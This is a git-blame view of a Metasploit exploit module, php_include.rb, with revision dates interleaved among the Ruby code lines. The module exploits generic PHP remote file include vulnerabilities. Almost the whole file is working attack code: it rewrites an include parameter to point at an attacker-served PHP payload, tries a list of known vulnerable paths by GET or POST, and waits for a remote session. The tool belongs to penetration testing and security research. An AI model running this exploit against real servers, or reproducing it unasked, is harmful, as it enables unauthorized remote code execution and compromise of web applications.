Files
metasploit-gs/modules/exploits/unix/webapp/php_include.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

182 lines
5.9 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
2013-08-30 16:28:54 -05:00
2006-12-17 07:57:51 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'PHP Remote File Include Generic Code Execution',
'Description' => %q{
This module can be used to exploit any generic PHP file include vulnerability,
2025-06-20 13:20:44 +01:00
where the application includes code like the following:
<?php include($_GET['path']); ?>
},
'Author' => [ 'hdm', 'egypt', 'ethicalhack3r' ],
'License' => MSF_LICENSE,
# 'References' => [ ],
'Privileged' => false,
'Payload' => {
2006-12-17 07:57:51 +00:00
'DisableNops' => true,
2025-06-20 13:20:44 +01:00
'Compat' =>
{
'ConnectionType' => 'find',
},
2010-06-02 05:04:24 +00:00
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
2013-08-17 17:35:09 +01:00
'Space' => 262144, # 256k
2006-12-17 07:57:51 +00:00
},
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
'WfsDelay' => 30
2010-02-15 17:59:54 +00:00
},
2025-06-20 13:20:44 +01:00
'DisclosureDate' => '2006-12-17',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', {}]],
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
register_options([
2025-06-20 13:20:44 +01:00
OptString.new('PATH', [ true, "The base directory to prepend to the URL to try", '/']),
OptString.new('PHPURI', [false, "The URI to request, with the include parameter changed to XXpathXX"]),
2011-10-04 16:02:52 +00:00
OptString.new('POSTDATA', [false, "The POST data to send, with the include parameter changed to XXpathXX"]),
2012-10-05 23:00:38 +02:00
OptString.new('HEADERS', [false, "Any additional HTTP headers to send, cookies for example. Format: \"header:value,header2:value2\""]),
2025-06-20 13:20:44 +01:00
OptPath.new('PHPRFIDB', [
false, "A local file containing a list of URLs to try, with XXpathXX replacing the URL",
2013-09-26 20:34:48 +01:00
File.join(Msf::Config.data_directory, "exploits", "php", "rfi-locations.dat")
])
2025-06-20 13:20:44 +01:00
])
2006-12-17 07:57:51 +00:00
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def check
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
tpath = normalize_uri(datastore['PATH'])
if tpath[-1, 1] == '/'
tpath = tpath.chop
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
if (uri and !uri.empty?)
uri.gsub!(/\?.*/, "")
print_status("Checking uri #{rhost + tpath + uri}")
response = send_request_raw({ 'uri' => tpath + uri })
return Exploit::CheckCode::Detected if response.code == 200
vprint_error("Server responded with #{response.code}")
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
2025-06-20 13:20:44 +01:00
end
2013-08-30 16:28:54 -05:00
2012-10-05 23:00:38 +02:00
def datastore_headers
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
headers_hash = Hash.new
2025-06-20 13:20:44 +01:00
if (headers and !headers.empty?)
2012-10-05 23:00:38 +02:00
headers.split(',').each do |header|
2025-06-20 13:20:44 +01:00
key, value = header.split(':')
2012-10-05 23:00:38 +02:00
headers_hash[key] = value.strip
end
end
headers_hash
end
2013-08-30 16:28:54 -05:00
2012-10-05 23:00:38 +02:00
def php_exploit
2010-02-15 17:59:54 +00:00
uris = []
2013-08-30 16:28:54 -05:00
2012-11-08 17:42:48 +01:00
tpath = normalize_uri(datastore['PATH'])
2025-06-20 13:20:44 +01:00
if tpath[-1, 1] == '/'
2010-02-16 05:24:31 +00:00
tpath = tpath.chop
end
2013-08-30 16:28:54 -05:00
2010-02-15 17:59:54 +00:00
# PHPURI overrides the PHPRFIDB list
2025-06-20 13:20:44 +01:00
if (datastore['PHPURI'] and not datastore['PHPURI'].empty? and (datastore['POSTDATA'].nil? or datastore['POSTDATA'].empty?))
2010-02-15 17:59:54 +00:00
uris << datastore['PHPURI'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, "%"))
2011-10-04 16:02:52 +00:00
http_method = "GET"
elsif (datastore['POSTDATA'] and not datastore['POSTDATA'].empty?)
uris << datastore['PHPURI']
postdata = datastore['POSTDATA'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, "%"))
http_method = "POST"
2010-02-15 17:59:54 +00:00
else
print_status("Loading RFI URLs from the database...")
::File.open(datastore['PHPRFIDB'], "rb") do |fd|
fd.read(fd.stat.size).split(/\n/).each do |line|
line.strip!
next if line.empty?
next if line =~ /^#/
next if line !~ /^\//
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
uris << line.gsub(
'XXpathXX', Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', "%") # ? append is required
2010-02-15 17:59:54 +00:00
)
end
end
uris.uniq!
print_status("Loaded #{uris.length} URLs")
2015-10-21 13:22:09 -05:00
http_method = "GET"
2010-02-15 17:59:54 +00:00
end
2013-08-30 16:28:54 -05:00
2010-02-15 17:59:54 +00:00
# Very short timeout because the request may never return if we're
2008-03-04 07:34:26 +00:00
# sending a socket payload
timeout = 0.01
2013-08-30 16:28:54 -05:00
2010-02-15 17:59:54 +00:00
# We can't make this parallel without breaking PHP findsock
# Findsock payloads cause this loop to run slowly
uris.each do |uri|
break if session_created?
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
vprint_status("Sending: #{rhost + tpath + uri}")
2010-02-15 17:59:54 +00:00
begin
if http_method == "GET"
2025-06-20 13:20:44 +01:00
response = send_request_raw({
2011-10-04 16:02:52 +00:00
'global' => true,
2025-06-20 13:20:44 +01:00
'uri' => tpath + uri,
2012-10-05 23:00:38 +02:00
'headers' => datastore_headers,
2011-10-04 16:02:52 +00:00
}, timeout)
elsif http_method == "POST"
response = send_request_raw(
{
2013-08-17 17:36:43 +01:00
'global' => true,
2025-06-20 13:20:44 +01:00
'uri' => tpath + uri,
2013-08-17 17:36:43 +01:00
'method' => http_method,
'data' => postdata,
2012-10-05 23:00:38 +02:00
'headers' => datastore_headers.merge({
2025-06-20 13:20:44 +01:00
'Content-Type' => 'application/x-www-form-urlencoded',
2012-10-05 23:00:38 +02:00
'Content-Length' => postdata.length
})
2025-06-20 13:20:44 +01:00
}, timeout
)
2011-10-04 16:02:52 +00:00
end
2010-02-15 17:59:54 +00:00
handler
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
print_error("The target service unreachable")
break
2010-09-25 03:14:21 +00:00
rescue ::OpenSSL::SSL::SSLError
print_error("The target failed to negotiate SSL, is this really an SSL service?")
2010-09-25 03:14:21 +00:00
break
rescue ::Exception => e
print_error("Exception #{e.class} #{e}")
2010-02-15 17:59:54 +00:00
end
2013-08-30 16:28:54 -05:00
Thread.pass
2010-02-15 17:59:54 +00:00
end
end
end